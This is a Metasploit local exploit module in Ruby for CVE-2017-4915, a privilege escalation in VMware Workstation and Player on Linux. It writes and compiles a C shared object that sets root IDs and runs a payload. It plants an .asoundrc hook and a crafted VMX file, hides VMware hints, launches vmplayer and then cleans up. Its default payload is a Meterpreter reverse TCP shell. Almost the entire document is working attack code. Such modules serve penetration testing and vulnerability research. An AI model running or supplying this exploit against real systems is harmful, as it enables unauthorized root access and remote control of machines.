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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'VMware Workstation ALSA Config File Local Privilege Escalation', 'Description'=> %q{ This module exploits a vulnerability in VMware Workstation Pro and Player on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card. This module has been tested successfully on VMware Player version 12.5.0 on Debian Linux. }, 'References' => [ [ 'CVE', '2017-4915' ], [ 'EDB', '42045' ], [ 'BID', '98566' ], [ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ], [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ] ], 'License'=> MSF_LICENSE, 'Author' => [ 'Jann Horn', # Discovery and PoC 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'DisclosureDate' => 'May 22 2017', 'Platform' => 'linux', 'Targets'=> [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter_reverse_tcp', 'WfsDelay'=> 30, 'PrependFork' => true }, 'DefaultTarget'=> 1, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => true )) register_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def has_prereqs? vmplayer = cmd_exec 'which vmplayer' if vmplayer.include? 'vmplayer' vprint_good 'vmplayer is installed' else print_error 'vmplayer is not installed. Exploitation will fail.' return false end gcc = cmd_exec 'which gcc' if gcc.include? 'gcc' vprint_good 'gcc is installed' else print_error 'gcc is not installed. Compiling will fail.' return false end true end def check unless has_prereqs? print_error 'Target missing prerequisites' return CheckCode::Safe end begin config = read_file '/etc/vmware/config' rescue config = '' end if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/ @version = Gem::Version.new $1.gsub(/\.$/, '') vprint_status "VMware is version #{@version}" else print_error "Could not determine VMware version." return CheckCode::Unknown end if @version < Gem::Version.new('12.5.6') print_good 'Target version is vulnerable' return CheckCode::Vulnerable end print_error 'Target version is not vulnerable' CheckCode::Safe end def exploit if check == CheckCode::Safe print_error 'Target machine is not vulnerable' return end @home_dir = cmd_exec 'echo ${HOME}' unless @home_dir print_error "Could not find user's home directory" return end @prefs_file = "#{@home_dir}/.vmware/preferences" fname = ".#{rand_text_alphanumeric rand(10) + 5}" @base_dir = "#{datastore['WritableDir']}/#{fname}" cmd_exec "mkdir #{@base_dir}" so = %Q^ /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142 Original shared object code by jhorn */ #define _GNU_SOURCE #include <stdlib.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/prctl.h> #include <err.h> extern char *program_invocation_short_name; __attribute__((constructor)) void run(void) { uid_t ruid, euid, suid; if (getresuid(&ruid, &euid, &suid)) err(1, "getresuid"); if (ruid == 0 || euid == 0 || suid == 0) { if (setresuid(0, 0, 0) || setresgid(0, 0, 0)) err(1, "setresxid"); system("#{@base_dir}/#{fname}.elf"); _exit(0); } } ^ vprint_status "Writing #{@base_dir}/#{fname}.c" write_file "#{@base_dir}/#{fname}.c", so vprint_status "Compiling #{@base_dir}/#{fname}.o" output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99" unless output == '' print_error "Compilation failed: #{output}" return end vmx = %Q| .encoding = "UTF-8" config.version = "8" virtualHW.version = "8" scsi0.present = "FALSE" memsize = "4" ide0:0.present = "FALSE" sound.present = "TRUE" sound.fileName = "-1" sound.autodetect = "TRUE" vmci0.present = "FALSE" hpet0.present = "FALSE" displayName = "#{fname}" guestOS = "other" nvram = "#{fname}.nvram" virtualHW.productCompatibility = "hosted" gui.exitOnCLIHLT = "FALSE" powerType.powerOff = "soft" powerType.powerOn = "soft" powerType.suspend = "soft" powerType.reset = "soft" floppy0.present = "FALSE" monitor_control.disable_longmode = 1 | vprint_status "Writing #{@base_dir}/#{fname}.vmx" write_file "#{@base_dir}/#{fname}.vmx", vmx vprint_status "Writing #{@base_dir}/#{fname}.elf" write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe vprint_status "Setting #{@base_dir}/#{fname}.elf executable" cmd_exec "chmod +x #{@base_dir}/#{fname}.elf" asoundrc = %Q| hook_func.pulse_load_if_running { lib "#{@base_dir}/#{fname}.so" func "conf_pulse_hook_load_if_running" } | vprint_status "Writing #{@home_dir}/.asoundrc" write_file "#{@home_dir}/.asoundrc", asoundrc vprint_status 'Disabling VMware hint popups' unless directory? "#{@home_dir}/.vmware" cmd_exec "mkdir #{@home_dir}/.vmware" @remove_prefs_dir = true end if file? @prefs_file begin prefs = read_file @prefs_file rescue prefs = '' end end if prefs.blank? prefs = ".encoding = \"UTF8\"\n" prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n" prefs << "hints.hideAll = \"TRUE\"\n" @remove_prefs_file = true elsif prefs =~ /hints\.hideAll/i prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"') else prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n") end vprint_status "Writing #{@prefs_file}" write_file "#{@prefs_file}", prefs print_status 'Launching VMware Player...' cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx" end def cleanup print_status "Removing #{@base_dir} directory" cmd_exec "rm '#{@base_dir}' -rf" print_status "Removing #{@home_dir}/.asoundrc" cmd_exec "rm '#{@home_dir}/.asoundrc'" if @remove_prefs_dir print_status "Removing #{@home_dir}/.vmware directory" cmd_exec "rm '#{@home_dir}/.vmware' -rf" elsif @remove_prefs_file print_status "Removing #{@prefs_file}" cmd_exec "rm '#{@prefs_file}' -rf" end end def on_new_session(session) # if we don't /bin/sh here, our payload times out session.shell_command_token '/bin/sh' super end end |
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